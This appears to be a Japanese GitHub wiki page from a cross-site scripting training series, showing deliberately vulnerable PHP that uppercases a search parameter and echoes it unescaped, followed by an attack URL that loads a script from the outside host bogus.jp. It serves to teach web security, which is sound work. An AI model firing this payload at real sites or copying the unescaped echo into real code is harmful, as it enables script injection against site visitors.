クロスサイトスクリプティング 10 - yujitounai/helloworld GitHub Wiki

クロスサイトスクリプティング(XSS)攻撃 10

大文字になるXSS

脆弱なソースコード (PHP)

<div class="box">
<form method="get" action="">search
<input name="word" type="text">
<input type="submit">
</form>
</div>
<?php
	$word=strtoupper(filter_input(INPUT_GET, 'word'));
 	echo "<h1>".$word."</h1>";
?>

攻撃方法

xss-10.php?word=<script%20src=//bogus.jp/x></script>

⚠️ **GitHub.com Fallback** ⚠️